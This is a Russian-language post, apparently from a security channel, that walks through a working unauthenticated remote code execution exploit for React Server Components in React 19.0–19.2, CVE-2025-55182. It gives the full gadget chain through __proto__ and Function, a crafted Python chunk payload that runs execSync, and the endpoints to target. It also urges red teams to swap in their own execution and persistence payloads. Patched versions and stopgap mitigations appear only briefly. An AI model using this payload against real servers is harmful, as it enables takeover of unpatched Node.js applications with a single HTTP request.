React RCE POC: серверные компоненты, аутентификация не нужна, cvss 10.0. если у тебя next/react 19.x с server components – это уже твоя проблема.
что именно взломалиreact flight-парсер не проверял, что ключи принадлежат самому объекту. через полезную нагрузку
"$1:__proto__:constructor:constructor" можно было вытащить глобальный
Function прямо при десериализации чанков. уже достаточно приятно: у нас есть «exec»-примитив без vm, eval и прочих костылей в сторону которых я думал вчера ночью.
шаг 2: then + await
next.js делает
await decodeReplyFromBusboy(...). если декодер возвращает объект с полем
then, рантайм воспринимает его как промис и вызывает
then(resolve, reject). мы подсовываем объект, где
then указывает на наш
Function (достали его через
__proto__).
await послушно вызывает его. первый эффект – крэш на
SyntaxError, но это только способ обнаружения наличия пути эксплуатации.
настоящий RCE-чейндальше начинается весёлое:
* спец-формат
"$@0" позволяет вернуть сырой чанк по id, а не уже разобранный объект;
* чанки сами по себе thenable, через
Chunk.prototype.then они попадают в
initializeModelChunk;
*
initializeModelChunk второй раз прогоняет наши данные через
reviveModel, но уже вместе с внутренним объектом
response.
мы собираем фейковый чанк:
*
status: "resolved_model" — чтобы сработал
initializeModelChunk;
*
value: '{"then":"$B0"}' — на втором проходе триггерится префикс
$B (blob);
*
_response._formData.get указываем на
Function;
*
_response._prefix забиваем строкой типа
process.mainModule.require('child_process').execSync('id');.
в
reviveModel выполняется вызов:
response._formData.get(response._prefix + "0")
а значит реальный код, который крутится на сервере:
Function("process.mainModule.require('child_process').execSync('calc');0")
дальше эту функцию ещё и вызывают по цепочке промисов → полный RCE внутри node-процесса, один http-запрос, без логина.
кто под угрозой?* react 19.0–19.2 с
react-server-dom-* (webpack/parcel/turbopack);
* любые server actions / server functions;
* уязвимость живёт в самом decode/flight-парсере, а не в бизнес-логике.
патч уже есть: 19.0.1 / 19.1.2 / 19.2.1.
если у тебя прод на этих версиях и rsc включены — это не «надо бы обновиться», это «необходимо было сделать вчера». временные костыли — вырубить server components, ограничить доступ к endpoint’ам. еще есть худший вариант - жёстко фильтровать payload’ы с
$@,
$B,
__proto__.
что делать red team
* на next/react-проектах сразу проверять версии
react-server-dom-*;
* искать endpoint’ы с заголовком
Next-Action и multipart body;
* разбирать PoC, и вместо
calc добавлять ваши полезные нагрузки по исполнению/закреплению.
crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", # "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"process.mainModule.require('child_process').execSync('calc');", "_formData": { "get": "$1:constructor:constructor", }, },}files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'),}
https://github.com/msanft/CVE-2025-55182это тот случай, когда js-фреймворк честно довозит тебя от грязного payload’а до DMZ а может и до L2.
мое почтение, Moritz Sanft
👏👾